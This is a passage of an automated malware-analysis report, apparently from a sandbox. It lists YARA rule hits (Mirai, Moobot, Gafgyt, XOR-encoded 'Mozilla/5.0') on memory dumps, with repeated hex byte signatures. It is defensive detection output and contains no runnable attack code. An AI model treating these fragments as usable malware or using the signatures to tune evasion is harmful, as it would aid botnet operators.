33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7099.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7125.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6345.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6345.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6345.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6345.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6345.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6345.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7183.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7183.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7183.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7183.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7183.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7183.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6249.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6249.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6249.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6249.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6249.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6249.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6634.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7409.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7298.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6738.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6738.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6738.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6738.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6738.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6738.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6802.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6522.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6522.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6522.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6522.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6522.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6522.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6867.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
